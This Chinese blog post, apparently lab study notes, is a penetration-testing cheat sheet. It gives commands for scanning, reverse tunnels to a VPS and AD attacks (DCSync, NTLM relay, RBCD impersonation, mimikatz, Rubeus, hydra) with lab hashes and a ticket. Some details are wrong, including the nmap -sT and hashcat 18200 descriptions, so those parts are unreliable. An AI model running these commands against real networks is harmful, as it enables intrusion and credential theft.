0%

渗透学习汇总

前言:

打了几个靶场了,学到了很多工具的使用,以及一些渗透的思路。因此,想着做一个总结形成自己一个渗透的流程。(持续更新)

一、工具

工具是渗透测试中不可缺少的,能够正确使用工具才能打好渗透。

补充:很多工具都是需要上传到靶机去运行的,所以这里简单介绍一下。

1
2
3
4
5
//vps
python3 -m http.server 2201

//靶机
wget -t 2 http://<VPS_IP>:2201/<工具>

信息搜集

信息搜集主要是搜集ip地址开放的端口以及服务,还有可能存在的漏洞,这些都是后面能够利用到的资产。

通过这些资产可以更容易的实现外网getshell以及内网渗透。

fscan

一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。

下载:https://github.com/shadow1ng/fscan

外网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//常规扫描
fscan -h <ip>
fscan.exe -h <ip>

//不扫漏只扫描端口(风险小)
fscan -h <ip> -nopoc
fscan.exe -h <ip> -nopoc

//挂http代理
//vps端 python3 -m http.server 2201
fscan -h <ip> -proxy http://<vps_ip>:2201
fscan.exe -h <ip> -proxy http://<vps_ip>:2201

//挂socks5代理
//利用gost在vps上做正向代理或者vemon等做反向代理
fscan -h <ip> -socks5 <VPS_IP>:1080
scan.exe -h <ip> -socks5 <VPS_IP>:1080

内网

1
2
3
//常规C段扫描
fscan -h 192.168.1.0/24
fscan.exe -h 192.168.1.0/24

nmap

一款用于网络探索或安全审计的实用程序。

下载:kali自带,https://www.kali.org/tools/nmap/

外网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//半开放扫描端口
nmap -Pn -sT <ip>

//常见服务探测
nmap -p 21,22,80,443,8080,6379,3306,5432,5000,8081,9000,27017,27018 -sCV -oN nmap_detailed_scan_Jay17.txt <ip>

//半开放默认脚本扫漏
nmap -sS -sV -sC --min-rate=10000 <ip>

//Vuln漏洞扫描(离线)
nmap --script vuln <ip>

//Vulners漏洞扫描(在线)
nmap -sV --script vulners <ip>

//Vulscan漏洞扫描(手动下载脚本 https://github.com/scipag/vulscan)
nmap -sV --script=vulscan/vulscan.nse <ip>

dirsearch

一款网站目录扫描工具。

下载:kali自带,https://github.com/maurosoria/dirsearch

1
2
3
4
5
6
7
8
//常规
dirsearch -u https://example.com
python dirsearch.py -u http://<ip>:<port>

//常用参数
-i 200:只打印响应200的路径
-e php,js,html:指定扫描的文件扩展名
-w /path/to/wordlist.txt:自定义字典

xray

一款为供应链漏洞扫描设计的快速应急响应工具。能够检测XSS漏洞、SQL 注入、命令/代码注入、目录枚举、路径穿越、XML 实体注入、poc 管理、文件上传、弱口令、jsonp、ssrf、基线、任意跳转、CRLF 注入、XStream漏洞、Struts2 系列漏洞、Thinkphp系列漏洞、shiro反序列化漏洞、fastjson系列等。

下载:https://github.com/chaitin/xray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

//利用爬虫扫漏
xray webscan --basic-crawler http://example.com --html-output result.html

//不利用爬虫扫漏
xray webscan --url http://example.com/?a=b --html-output result.html

//HTTP代理被动扫描(火狐浏览器搭配FoxyProxy)
xray webscan --listen 127.0.0.1:7777 --html-output result.html

//拉取漏洞库
xpoc.exe pull
./xpoc pull

//扫描指定目标
xpoc.exe -t https://example.com -o result.html
./xpoc -t https://example.com -o result.html

//批量扫描
xpoc.exe -i targets.txt
./xpoc -i targets.txt

//自定义poc(配合gamma写poc)
xpoc.exe -r template.yaml -t https://example.com
./xpoc -r template.yaml -t https://example.com

nuclei

一款快速的、基于模板的安全扫描工具,适用于现代应用、基础设施、云平台和网络。提供TCP、DNS、HTTP、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用 Nuclei模拟各种安全检查

下载:https://github.com/projectdiscovery/nuclei

外网

1
2
3
4
5
6
7
8
9
10
11
//更新模板
nuclei -update-templates

//扫描指定目标
nuclei -target https://example.com

//批量扫描
nuclei -targets targets.txt

//自定义poc(配合gamma写poc)
nuclei -u https://example.com -t /path/to/template.yaml

内网

1
2
//常规C段扫描
nuclei -target 192.168.1.0/24

afrog

一款性能卓越、快速稳定、PoC可定制的漏洞扫描(挖洞)工具,PoC涉及CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型。

下载:https://github.com/zan8in/afrog

1
2
3
4
5
6
7
8
//扫描指定目标
afrog -t https://example.com

//批量扫描
afrog -T targets.txt

//web漏洞库存储
afrog -web

goby(不推荐)

资产搜集管理集成工具

下载:https://gobies.org/

个人版的基本扫不出漏洞来,只能看看端口服务那些的,这里就不多讲了

wpscan(只针对WordPress)

扫描WordPress的漏洞

下载:kali自带,https://github.com/wpscanteam/wpscan

1
proxychains wpscan --url http://example.com

webshell工具

蚁剑

提供了文件管理、数据库管理、命令执行、虚拟终端等功能。

下载:https://github.com/AntSwordProject/antSword

冰蝎

支持加密通信、内存马(内存 Web Shell)等高级功能。

下载:https://github.com/rebeyond/Behinder

哥斯拉

提供了文件管理、数据库管理、命令执行、虚拟终端、加密通信等功能。

下载:https://github.com/BeichenDream/Godzilla

代理工具

gost

正向代理,能够代理HTTP/HTTPS/HTTP2/SOCKS4(A)/SOCKS5。操作简单,隧道稳定,可以设置多级代理但是比较麻烦。(只挂一级代理推荐)

下载:https://github.com/ginuerzh/gost

单级代理

1
2
//靶机
./gost -L=admin:[email protected]:1080

多级代理

1
2
3
4
5
6
7
8
//第三层跳板,设置代理
./gost -L mtls+kcp://admin:[email protected]:1111

//第二层跳板,设置代理,且指定后续跳转到第三层跳板
./gost -L=socks5://admin:admin@:1111 -F=mtls+kcp://admin:admin@第三层跳板的IP:1111

//第一层跳板,开启代理1080端口,且指定第二层和第三层跳板
./gost -L socks5://:1080 -F=mtls+kcp://admin:admin@第二层跳板的IP:1111 -F=mtls+kcp://admin:123456@第三层跳板的IP:1111

venom

多级反向代理但是只能代理SOCKS5。可以搭建多级代理,操作简单,但是隧道不稳定代理容易断。

下载:https://github.com/Dliv3/Venom

单级代理

1
2
3
4
5
6
7
8
9
//vps
./admin_linux_x64 -lport 1111

//靶机
./agent_linux_x64 -rhost <your_vps_ip> -rport 1111
//进入交互
show
goto 1
socks 1080

多级代理

1
2
3
4
5
6
7
8
9
10
//交互处
listen 1234

//二级靶机
./agent_linux_x64 -rhost <一级代理ip> -rport 1234 &

//进入交互
show
goto 2
socks 1234

suo5

反向代理,高性能 HTTP隧道代理,能够代理SOCKS5,支持全双工和半双工模式。操作简单有GUI版本(由于我的GUI版本总是有问题所以我都是用命令行),但是需要上传并访问suo5.php等页面,需要web服务,虽然是反向代理但还是比较稳定的。

下载:https://github.com/zema1/suo5

1
2
3
//本机
//上传suo5.php到网站目录
suo5.exe -t http://example.com/suo5.php -l 127.0.0.1:1111

frp

高性能、分布式反向代理,可以代理SOCKS5。但是比较麻烦需要配置代理文件(从v0.52.0开始配置文件ini变为toml),而且需要客户端和服务端系统一致。

下载:https://github.com/fatedier/frp

v0.52.0之前

客户端配置ini

1
2
3
4
5
6
7
8
9
10
11
12
//frpc.ini
[common]
server_addr = <靶机ip>
server_port = 7000
auth_token = 123456

[socks5]
type = tcp
local_ip = 127.0.0.1
local_port = 1080
use_encryption = true
use_compression = true

服务器端配置ini

1
2
3
4
5
6
7
8
9
//frps.ini
[common]
bind_port = 7000

[socks5]
type = tcp
remote_port = 1080
auth_token = 123456
auth_users = admin:admin

启动

1
2
3
4
5
//vps
./frpc -c ./frpc.ini

//靶机
./frps -c ./frps.ini

v0.52.0之后

客户端配置toml

1
2
3
4
5
6
7
8
9
10
//frpc.toml
serverAddr = <靶机ip>
serverPort = 7000

[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"

服务器端配置toml

1
2
//frps.toml
bindPort = 7000

启动

1
2
3
4
5
//vps
./frpc -c ./frpc.toml

//靶机
./frps -c ./frps.toml

chisel

快速的 TCP/UDP 隧道,通过 HTTP 输,通过 SSH保护,客户端可以选择通过 SOCKS 或 HTTP CONNECT 代理。可以搭建多级代理,但是也是较为复杂。

下载:https://github.com/jpillora/chisel

单级代理

1
2
3
4
5
//vps
./chisel server -p 1111 --reverse

//靶机
./chisel client <VPS_IP>:1111 R:0.0.0.0:1080:socks

多级代理(第二级被转发到2222端口)

1
2
3
4
5
6
7
8
9
10
11
//第一级靶机
./chisel server -p 1234 --reverse

//第二级靶机
./chisel client VPS:1234 R:1111:socks

//VPS
./chisel server -p 1080 --reverse

//第一级靶机(再开一个窗口)
./chisel client 8023826v9d.imdo.co:59775 2222:127.0.0.1:1111 R:2222:socks

代理转发工具

proxifier

Windows应用程序,用于强制将特定应用程序的网络流量通过代理服务器转发。

下载:https://www.smartproxy.cn/?device=c&keyword=proxyfier&gad_source=1&gclid=CjwKCAiArKW-BhAzEiwAZhWsIDuCiuIvYeEwU3rjUiFSjBdc6GJbT9XdK4RbbV5ZQpSfWzT6suC1_xoC4JwQAvD_BwE

添加代理服务器和添加规则(具体使用去我的另一篇文章“春秋云境靶场复现”查看)

proxychains

kali中用于轻量级代理转发的工具,适合简单的代理需求。

下载:kali自带

配置proxychains(具体使用去我的另一篇文章“春秋云境靶场复现”查看)

1
vim /etc/proxychains4.conf

数据库管理工具

商业化的数据库管理工具,支持多种数据库(如 MySQL、PostgreSQL、Oracle、SQL Server 等)。功能全面的商业化数据库管理工具,连接需要ip,连接后需要开启cmdshell才能执行命令。

下载:https://www.navicat.com/en/

蚁剑

只要前面getshell添加连接成功且改网站有数据库服务,就可以连接管理该网站的数据库。

下载:https://github.com/AntSwordProject/antSword

mdut

集成多种主流数据库类型的中文数据库跨平台使用工具。连接需要ip,连接成功后激活所有组件,将编码改为GBK就可以执行命令了。

下载:https://github.com/SafeGroceryStore/MDUT/

域环境信息搜集工具

SharpHound

用于抓取域内环境分析

下载:https://github.com/SpecterOps/SharpHound

1
2
3
SharpHound.exe -c all

powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"

BloodHound-python

用于收集和分析AD域环境信息的工具,类似于BloodHound的Python版本。

下载:kali自带,https://www.kali.org/tools/bloodhound.py/

1
2
3
4
5
bloodhound-python -u <用户名> --hashes <NTLM哈希> -d <域名> -dc <域控制器ip> -c <搜集的数据类别,一般选all所有> --dns-tcp -ns <DNS服务器的IP地址> --auth-method ntlm --zip
//--dns-tcp:表示使用TCP进行DNS查询。
//--auth-method:指定认证方法。在这里,认证方法是NTLM。

proxychains -q bloodhound-python -u <用户名> -p <对应密码> -d <域名> -c <搜集的数据类别,一般选all所有> -ns <DNS服务器的IP地址> --zip --dns-tcp

BloodHound

用于 Active Directory (AD) 环境的安全分析工具,主要用于识别和利用AD中的攻击路径和权限关系。

下载:https://github.com/SpecterOps/BloodHound-Legacy

1
2
3
4
//启动
neo4j console
cd BloodHound
/BloodHound --no-sandbox

启动GUI界面后将上面分析工具生成的压缩包拖入BloodHound进行分析

ADinfo

用于查询和显示Active Directory(AD)环境信息的工具,主要用于委派(Delegation)分析、识别和利用AD中的攻击路径和权限关系。

下载:https://github.com/lzzbb/Adinfo

1
Adinfo_win.exe -d <域名> --dc <域控制器ip> -u <用户名> -H <NTLM哈希>

渗透测试工具

Metasploit Framework (MSF)

源的渗透测试框架,提供了丰富的漏洞利用模块、Payload 生成器、辅助模块等。常用于内网中的永恒之蓝等漏洞getshell,以及生成木马程序getshell

下载:kali自带

以永恒之蓝为例(其他的不做示范了)

1
2
3
4
5
6
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
show options
set RHOSTS <靶机host>
exploit或run

Cobalt Strike (CS)

商业化的渗透测试工具,专注于红队行动和高级威胁模拟。常用于windows生成木马程序,打横向获取权限。

下载:https://juejin.cn/post/7028872272328785934

cs服务端

1
2
3
//kali
//启动
./teamserver <kali_ip> 123456

cs客户端

windows上直接运行,输入上面的密码进入。

使用方法这里就不介绍了。

impacket工具箱

GetNPUsers

用于从域控制器中提取域用户信息。

下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py

1
2
3
4
5
//从指定的域控制器中枚举启用了"不要求 Kerberos 预认证"(Do Not Require Pre-Authentication)属性的用户账户,并获取这些用户的AS-REP哈希
proxychains -q impacket-GetUsers -dc-ip <目标域控制器ip> -usersfile <用户名列表文件> -format hashcat <目标域名>/
//-format hashcat:指定输出格式为hashcat格式,方便后续使用hashcat进行离线破解。
//例子
proxychains impacket-GetUsers -dc-ip 172.22.x.x -usersfile user111.txt xiaorang.lab/

GetUserSPNs

用于从域控制器中提取注册了服务主体名称(Service Principal Name, SPN)的账户信息。

下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//枚举域中所有注册的服务主体名称(SPNs),并从指定的域控制器中请求Kerberos服务票据(Service Tickets),请求成功会尝试获取服务账户的凭据(用户名和密码哈希)
proxychains -q impacket-GetUserSPNs -request -dc-ip <目标域控制器ip> <目标域>/<用于认证的用户名>:<用户的密码>
//-request:指定工具应请求目标域控制器上的SPN
//例子
proxychains -q impacket-GetUserSPNs -request -dc-ip 172.22.x.x xiaorang.lab/zhangjian:i9XDE02pLVf


//从指定的域控制器中枚举存在SPN的用户
proxychains -q impacket-GetUserSPNs <目标域>/'<用于认证的计算机账户>' -hashes <NTLM哈希> -dc-ip <目标域控制器ip>
//例子
proxychains -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :88e4a2eb83aef14dde6ef29fd96a7fff -dc-ip 172.22.x.x


//请求存在SPN指定用户关联的Kerberos服务票据
proxychains -q impacket-GetUserSPNs <目标域>/'<用于认证的计算机账户>' -hashes <NTLM哈希> -dc-ip <目标域控制器ip> -request-user <上面枚举出存在SPN的用户>
//例子
proxychains -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :88e4a2eb83aef14dde6ef29fd96a7fff -dc-ip 172.22.x.x -request-user tianjing

smbclient

用于通过SMB协议远程 共享进行交互。

下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/smbclient.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//通过SMB协议连接到目标主机
proxychains -q impacket-smbclient <目标主机ip>

//连接后进入交互
//列出共享文件夹
shares
//连接到共享文件夹
use <文件夹>
//列出文件
ls
//下载文件
get <文件名>
//上传文件
put <本地文件> <上传文件>
//退出
exit

wmiexec

通过WMI(Windows Management Instrumentation)远程执行命令

下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/wmiexec.py

1
2
3
4
5
//VMI横向
proxychains -q impacket-wmiexec -hashes <NTLM哈希> <目标域>/<用于认证的用户名>@<目标主机ip> -codec gbk
//-codec gbk:指定输出编码为GBK,用于正确处理中文字符。
//例子
proxychains impacket-wmiexec XIAORANG/[email protected] -hashes :04d93ffd6f5f6e4490e0de23f240a5e9

psexec

用于通过 SMB 协议远程 执行命令。

下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/psexec.py

1
2
3
4
5
//SMB横向
proxychains -q impacket-psexec -hashes <NTLM哈希> <目标域>/<用于认证的用户名>@<目标主机ip> -codec gbk
//-codec gbk:指定输出编码为GBK,用于正确处理中文字符。
//例子
proxychains -q impacket-psexec -hashes :4889f6553239ace1f7c47fa2c619c252 [email protected] -codec gbk

dacledit

用于编辑Active Directory中的 DACL

下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/dacledit.py

由于运行dacledit会出现问题,需要自己添加msada_guids.py到同一目录下,然后修改 dacledit.py中的from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTSimpacket.删掉就可以了(这里搞了半天才配好)

1
2
3
4
5
6
7
//修改AD域中某个对象的DACL(自主访问控制列表)
proxychains -q impacket-dacledit <目标域>/<执行操作的计算机账户> -hashes <NTLM哈希> -action write -rights DCSync -principal <授予权限的用户或组> -target-dn "<修改权限的对象>" -dc-ip <目标域控制器ip>
//-action write:指定要执行的操作是写操作
//-rights DCSync:指定要授予的权限是 DCSync 权限。DCSync 权限允许用户复制域控制器上的所有哈希值。
//-target-dn "DC=xiaorang,DC=lab":指定目标区别名(DN),即要修改权限的对象
//例子
proxychains -q impacket-dacledit xiaorang.lab/XIAORANG-EXC01\$ -hashes :fdfd5bada2b3c7dd34a46ccf9f007199 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

secretsdump

用于从域控制器中提取哈希和敏感信息。

下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/secretsdump.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//抓取域管理员的NTLM哈希
proxychains -q impacket-secretsdump <目标域>/<用于认证的用户名>@<目标主机ip> -hashes <NTLM哈希> -just-dc-ntlm
//-just-dc-ntlm:指定只转储域控制器的NTLM哈希值。
//例子
proxychains -q impacket-secretsdump xiaorang.lab/[email protected] -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm


//从本地的SYSTEM、SAM和SECURITY文件中提取哈希和敏感信息。
impacket-secretsdump LOCAL -system system -sam sam -security security
//LOCAL:指定目标系统为本地系统。
//SYSTEM文件:包含加密密钥。
//SAM文件:包含本地用户的哈希值。
//SECURITY文件:含LSA秘密、缓存凭据等信息。


//从本地的NTDS.dit和SYSTEM文件中提取域内用户的哈希和其他敏感信息。
impacket-secretsdump local -ntds ntds.dit -system system
//NTDS.dit文件:包含域内所有对象的信息和用户密码哈希。

ntlmrelayx

用于进行 NTLM 中继攻击。

下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py

1
2
3
4
5
6
7
8
proxychains -q impacket-ntlmrelayx -t ldap://<目标主机ip> --no-dump --no-da --no-acl --escalate-user '<要提升权限的用户>' --delegate-access
//-t:指定目标协议和地址。在这里,目标协议是 LDAP。
//--no-dump:禁用从目标计算机转储哈希值。
//--no-da:禁用从目标计算机转储目录服务(DA)信息。
//--no-acl:禁用从目标计算机转储访问控制列表(ACL)信息。
//--delegate-access:启用委派访问权限。
//例子
proxychains -q impacket-ntlmrelayx -t ldap://172.22.x.x --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access

getST

用于请求 Kerberos服务票据(Service Ticket)。

下载: kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/getST.py

1
2
3
4
5
6
7
8
9
10
11
12
13
//利用哈希申请TGT和S4U2self票据并且冒充administrator用户
proxychains -q impacket-getST -spn cifs/<主机名> -impersonate administrator -hashes <计算机账户的NTLM哈希> <目标域>/<计算机账户> -dc-ip <目标域控制器ip>
//-spn:指定服务主体名(Service Principal Name)
//CIFS服务:用于文件共享。
//-impersonate:指定要冒充的用户。
//例子
proxychains -q impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :540711072703fde7af17da8dd7dcaa8d xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.x.x


//利用密码申请TGT和S4U2self票据并且冒充administrator用户
proxychains -q impacket-getST <目标域>/<计算机账户>:<密码> -spn cifs/<主机名> -impersonate administrator -dc-ip <目标域控制器ip>
//例子
proxychains -q impacket-getST xiaorang.lab/TEST\$:123456 -spn cifs/FILESERVER.xiaorang.lab -impersonate administrator -dc-ip 172.22.x.x

addcomputer

用于在域中创建新的计算机账户。

下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/addcomputer.py

1
2
3
4
5
//创建机器账户
//机器账户:活动目录中的computers组内的计算机,也被称为机器账号。
proxychains -q impacket-addcomputer <目标域>/<用户名>:<密码> -computer-name <要添加的计算机名称> -computer-pass <添加的计算机的密码> -dc-ip <目标域控制器ip>
//例子
proxychains -q impacket-addcomputer xiaorang.lab/zhangxin:'admin4qwY38cc' -computer-name TEST\$ -computer-pass 123456 -dc-ip 172.22.x.x

rbcd

用于管理Windows域中的基于资源的约束委派(Resource-Based Constrained Delegation, RBCD)。

下载:kali自带,脚本 https://github.com/fortra/impacket/blob/master/examples/rbcd.py

1
2
3
4
5
6
7
//配置RBCD,将委派对象设置为其他机器。
proxychains -q impacket-rbcd <目标域>/<用户名>:<密码> -dc-ip <目标域控制器ip> -action write -delegate-to <计算机账户> -delegate-from <计算机账户>
//-action write:指定操作为写入,即配置资源基于约束委派。
//-delegate-to:指定委派目标。需要允许委派的服务器。
//-delegate-from:指定委派源。需要委派的客户端
//例子
proxychains -q impacket-rbcd xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.x.x -action write -delegate-to FILESERVER\$ -delegate-from TEST\$

密码爆破工具

SNETCracker

支持SSH、RDP、SMB、MySQL、SQLServer、Oracle、FTP、MongoDB、Memcached、PostgreSQL、Telnet、SMTP、SMTP_SSL、POP3、POP3_SSL、IMAP、IMAP_SSL、SVN、VNC、Redis等服务的弱口令检查工作。

下载:https://github.com/shack2/SNETCracker

fscan

支持mssql、mysql、redis、ssh、ftp、smb、rdp、postgres、oracle、mongodb、telnet、vnc、snmp服务的弱口令检查工作。

下载:https://github.com/shadow1ng/fscan

1
fscan.exe -h x.x.x.x -m mssql -pwdf <密码字典>

hydra

大的网络登录破解工具,支持rdp、vnc、smb、telnet、sftp、ftp、ssh、postgres、mssql、mysql、https、http、smtp、imap、pop3、pcanywhere、icq、redis、ldap、socks5、snmp等协议和服务。

下载:kali自带(但是我的好像有问题,所以重装了一个),https://github.com/vanhauser-thc/thc-hydra

1
2
3
4
5
6
7
8
9
10
//爆破具有特定服务的用户和密码
proxychains -q hydra -L <用户列表> -P <密码字典> <目标主机ip> <目标服务> -vV
//-vV:启用详细模式,提供更多的输出信息,帮助调试和分析。
//例子
proxychains -q hydra -L user.txt -P pass.txt 172.22.x.x rdp -vV

//爆破指定用户的密码
proxychains -q hydra -l <用户名> -P /usr/share/wordlists/rockyou.txt <目标主机ip> <目标服务> -vV
//例子
proxychains -q hydra -l Adrian -P /usr/share/wordlists/rockyou.txt 172.22.x.x rdp -vV

提权

SweetPotato

从Windows 7到Windows 10 / Server 2019服务账户到 SYSTEM的Windows特权提升工具

下载:https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato

1
SweetPotato.exe -a "whoami"

SeBackupPrivilegeUtils和SeBackupPrivilegeCmdLets

拥有 SeBackupPrivilege。我们可以使用该权限从目标机器读取和获取任何文件。

下载:https://github.com/k4sth4/SeBackupPrivilege

1
2
3
4
5
6
7
8
9
10
//以管理员运行powershell
//导入模块
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

//启用SeBackupPrivilege特权
Set-SeBackupPrivilege

//检查SeBackupPrivilege特权状态
Get-SeBackupPrivilege

其他

CDK

容器渗透工具包

下载:https://github.com/cdk-team/CDK?tab=readme-ov-file

1
2
//环境未安装net-tools
./cdk ifconfig

mimikatz

用于从内存中提取纯文本的 Windows密码、执行传递哈希攻击、将代码注入远程进程、生成黄金票证等。

下载:https://github.com/ParrotSec/mimikatz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//获取调试权限
privilege::debug

//列出当前登录用户的明文密码、哈希值、票据等信息
sekurlsa::logonpasswords

//清除当前用户会话中的所有Kerberos票据
kerberos::purge

//加载指定的Kerberos票据文件(.kirbi文件)
kerberos::ptt <.kirbi文件>

//使用DCSync功能从域控制器提取指定用户的哈希值
lsadump::dcsync /domain:xiaorang.lab /user:administrator
// /domain指定目标域名。/user指定要提取哈希值的用户。

//在msf中
//加载mimikatz
load kiwi
//显示所有已提取的凭证
creds_all

//利用dcsync权限获取凭证
kiwi_cmd lsadump::dcsync /domain:<目标域名> /all /csv
//kiwi_cmd:调用Kiwi的命令行接口。
//lsadump::dcsync:指定使用DCSync模块。
///domain:指定目标域名。
///all:提取域中所有用户的凭据。
///CSV:将结果输出为CSV格式。

Rubeus

用于 Kerberos 攻击和测试的工具,支持请求票据、票据传递(Pass-the-Ticket)等功能。

下载:https://github.com/GhostPack/Rubeus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//请求Kerberos票据授予票证(Ticket Granting Ticket, TGT)
.\Rubeus.exe asktgt /user:<要请求TGT票据的用户> /rc4:<NTLM哈希(RC4加密类型)> /domain:<目标域> /dc:<域控制器的主机名> /nowrap
//asktgt:用于请求TGT票据。
///nowrap:告诉Rubeus不要包装票据,即在输出中不要包含额外的信息。
//例子
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:299022e98a5b862963a4397a23255288 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap



//模拟用户权限,票据传递(PtT)
.\Rubeus.exe s4u /impersonateuser:<要冒充的用户> /msdsspn:CIFS/DC.xiaorang.lab /dc:<域控制器的主机名> /ptt /ticket:<TGT票据的base64编码>
//s4u:执行S4U攻击
// /ptt:告诉Rubeus将票据导入当前会话以模拟用户的凭据。
//例子
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:<要模拟的服务主体名称> /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE3UBosfs+Fgp4c7ROTIF9c8qS0PvJhamZWT+7IoLe2+4f+BJ3LJMsz3fbkEV3xN/EngeVqYI/xg6iCEGTL4IHWHZ+1P+icbfrLKKaTHrexzz4DO/167z9KOSMwi4kKd/HT0Hhn1v86Zo0kq4o/EvOV/eqMjM3N95xwFhHFQUMySqzdHBmfFdheKmOywo7be8L0kfpEz0fIjRbSvP/OpXt74nXvCFeyqBvgYgnw+aVN8qflApwS5r+3wTuYISnKYqtgugK0nOsb6GpW4ge4UcizMX9fQuTI3nGN5IRbuid7uxWeAdUoTvgav4dfeREINK4jC+R1LiR9dkqV+Rr1z1CUiYsIaVGBxkE4VKiB3s2EsrSR0OEvi3n5scB0sMkaMwEWtgRapq77JkWm3KBsoDnE/Cg21dS6cTLO4QHOs1HGfXVSbKWw1C2iCphS3aLc5jUQAz5SOjmwbJ2tbUjapw8UP5hvgoyWJ0JcWtAAQIJMVYsvGi8dC2OWjFwh+uDrpn2xx8YF6b/L5ek91RoYj+Dmmwx3wvq6d+/sLw6A94sU2ildHRcfcp8F8SUbJruJWHUFIp4QZnRlNS2KNjcrN6P/DQb0DUov/YLe2222vRiFCZbABhCmy5JpJQ+/Fn9zvmJ7SsmWitvxwuypmrR0JjnhKq0yM/x00EebcDcVyHKbQ45Cf2XzEEDhHUK/XXObCA1TsT8n78RMgh4EEq7JL1f86ZiT12CSlI60SB7UdokvmAIbbkzsXm9FuQ+AX9c75zDHhqa2LmGebTaVyJD5YmaizZQYjmfUJWseP/1094RwvVncoOy4zt4ujk3Sh/AdxwND6FYM3Vz1m0u7hthVPAwNZX7JAdKQcBjoo6kYQiKkGZ0wZIPZ9C7fz9sxnat5KtCtfHKyDEvCbDXdF8sMRlHecOhzYuLin5Hc21q1UU+y1+D2On+UN8uPSxFlF1gCVL+WU/qwCjazARwoObMegWSp6ulwHuBiHU092+O6lzxPUtDhGnz7i+MrrEQLCnp3HbX0MazuL2bZP//zbrNwjWW8cWq2EEpsi2mO+kwu5mclbdj+ZlnGKcFU5gIOnRVa4GAhsy0Npf5m7YMzM/jFwvkpXcd3rnTD7a1jsUQ8GFaT1HDf/orz+u1XxEMYWE3lAmvAfXmM5JnF7YojKaUGQYpKymExG+r+xQ0VWa9cwfZfRIUSeqzi1U+YcTWQk5te22l265OhPeTd1WcIycwuo9it/Nu971CANRU4S2L84X7+S6fVSpmUI9DOqyHNH28Lw4+9yxpKpscbHuPF9DypbLjt2eKpIQqpxYKr13WtxORw4Ng0IdE2tfPdvt6DMCPoq1sSPP407g93Ze9L5qjCUIRGoABlGFtkMepmkeo03et2ngsgIkguwvv9eLno34dDBrkm3RtAIYxgrtds80BqqswHrMtMOK2gXbIivtbcchbYDTvVhCmBJZYpFvRB0kKqjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBBisajzDWT9DHJ8LdL5picEoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDExNDIwMDAxN1qmERgPMjAyNTAxMTUwNjAwMTdapxEYDzIwMjUwMTIxMjAwMDE3WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==



//监控域控制器的Kerberos票据授予票证(TGT)和票据授予服务(TGS)请求,被动获取TGT票据
Rubeus.exe monitor /interval:<监控的间隔时间(单位为秒)> /filteruser:<要过滤的用户>
//monitor命令:用于监控域中的Kerberos票据请求。
//例子
Rubeus.exe monitor /interval:1 /filteruser:DC01$

kerbrute

用于枚举 Active Directory 用户的工具,通过 Kerberos 协议来验证用户名是否存在。

下载:https://github.com/ropnop/kerbrute

1
2
3
4
5
./kerbrute userenum --dc <目标域控制器ip> -d <目标域> <用户列表> -t 10
//userenum: 指定用户枚举
//-t:线程数
//例子
./kerbrute userenum --dc 172.22.x.x -d xiaorang.lab user.txt -t 10

hashcat

一款强大的密码恢复工具,支持多种哈希类型的破解。

下载:kali自带,https://github.com/hashcat/hashcat

1
2
3
4
5
6
7
hashcat -m 18200 <用户哈希列表> -a 0 /usr/share/wordlists/rockyou.txt  --force
//-m 18200: 这部分指定了要破解的哈希类型,18200对应于NetNTLMv2哈希。
